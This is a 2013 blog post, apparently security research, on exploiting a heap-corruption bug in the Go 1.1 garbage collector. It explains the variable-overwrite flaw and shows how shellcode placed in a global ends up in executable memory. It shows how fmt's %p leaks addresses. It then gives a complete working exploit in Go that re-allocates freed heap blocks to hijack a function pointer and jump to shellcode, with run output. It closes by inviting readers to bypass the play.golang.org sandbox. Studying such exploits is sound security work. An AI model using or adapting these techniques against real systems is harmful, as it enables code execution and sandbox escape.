Tuesday, June 04, 2013

Golang heap corruption during garbage collection

I've been playing with Go recently, it's an interesting programming language (I recommend the tour).

It is compiled, garbage-collected and memory safe.. as long as you don't find a bug in the runtime. Alex Reece (@awreece) from PPP recently blogged about a nice vulnerability, I found it interesting and started following more of the changes.

This one looked fun: runtime: fix heap corruption during GC (#5554), let's try to exploit it. The bug was not present in Go 1.0.3, present in Go 1.1 but will be fixed in Go 1.1.1 (to be released next week).

Bug

The bug is a variable overwrite during garbage collection (see patch): in some weird situation, n (length of the block to garbage collect) is rewritten with channel capacity because reusing the same variable name.
We can use that to break the memory safety: have the garbage collector mark some used blocks as free so we can overwrite them and use them in an unexpected way. We can also think of it as a use after free (wrong free by the garbage collector).

Preparation

Before exploiting the bug, let's answer some questions about Go exploitation. In his blog post, Alex says:
  1. Go 1.1 now has non-executable heap and stack, a problem for his exploit using a shellcode on the stack
  2. to get the address of the shellcode, the exploit has to be run twice (would be defeated if Go had randomization but it does not)

It turns out both points have a solution:
  1. NX? place your shellcode as a global variable, it will be in .rodata (-x) but at runtime with .text (+x)
  2. get the address? use fmt.Printf with %p (pointer)
Proof (run it):
package main

import "fmt"

var shellcode = "\xcc"

func main() {
  fmt.Printf("%p\n", &shellcode)
}
$ go build test.go
$ ./test
0x5077d0
$ gdb test
gdb$ b test.go:main.main
gdb$ r
gdb$ x/x 0x5077d0
0x5077d0 <main.shellcode>:      0x004ada80
gdb$ x/1c 0x004ada80
0x4ada80 <go.string.*+9296>:    0xcc
gdb$ maps
0x00400000 0x00506000 r-xp /tmp/test
gdb$ q
$ readelf -S test | grep -A 1 '\.rodata'
  [ 2] .rodata           PROGBITS         0000000000467020  00067020
       0000000000060580  0000000000000000   A       0     0     32
This means shellcode is in .rodata, ELF says it's not executable but at runtime it's mapped along with .text as executable. Thanks Go!

Exploitation

Where do we start? thanks to the regression test, we have a proof-of-concept:
func TestGcRescan(t *testing.T) {
  type X struct {
    c     chan error
    nextx *X
  }
  type Y struct {
    X
    nexty *Y
    p     *int
  }
  var head *Y
  for i := 0; i < 10; i++ {
    p := &Y{}
    p.c = make(chan error)
    p.nextx = &head.X
    p.nexty = head
    p.p = new(int)
    *p.p = 42
    head = p
    runtime.GC()
  }
  for p := head; p != nil; p = p.nexty {
    if *p.p != 42 {
      t.Fatal("corrupted heap")
    }
  }
}
If we change p (pointer to int) to a pointer to function and are able to control the value being corrupted, we win. How to control the value? It's conveniently freed on the heap, so we just re-allocate a few new(int) and set their values.

Final exploit, with a handy address() using fmt.Sprintf with %p to get shellcode's address:
package main

import (
  "fmt"
  "runtime"
  "strconv"
)

var shellcode = "\xcc"

type X struct {
  c     chan error
  nextx *X
}

type Y struct {
  X
  nexty *Y
  p     *func()
}

func address(i interface{}) int {
  addr, err := strconv.ParseUint(fmt.Sprintf("%p", i), 0, 0)
  if err != nil {
    panic(err)
  }
  return int(addr)
}

func main() {
  var head *Y
  // prepare conditions: first element will not be modified, second will be
  for i := 0; i < 2; i++ {
    p := &Y{}
    p.c = make(chan error)
    p.nextx = &head.X
    p.nexty = head
    p.p = new(func())
    *p.p = func() { fmt.Println("failed") }
    head = p
  }
  // call garbage collector, it will free head.nexty.p
  runtime.GC()
  // reallocate on the heap to overwrite head.nexty.p with shellcode address
  addrShellcode := address(&shellcode)
  var list []*int // keep items there or they can be optimized away
  for i := 0; i < 100; i++ {
    e := new(int)
    *e = addrShellcode
    list = append(list, e)
  }
  // if it worked, head.nexty.p function pointer now points to shellcode
  (*head.nexty.p)()
}
Run it with a vulnerable Go (e.g. with hg update e4db68a39f50 just before the fix):
$ go run exploit.go
SIGTRAP: trace trap
PC=0x4ae681
[...]
Otherwise:
$ go run exploit.go
failed

Bypass of play.golang.org sandbox is left as an exercise to the reader ;) (note: it's already patched, try)

No comments:

Post a Comment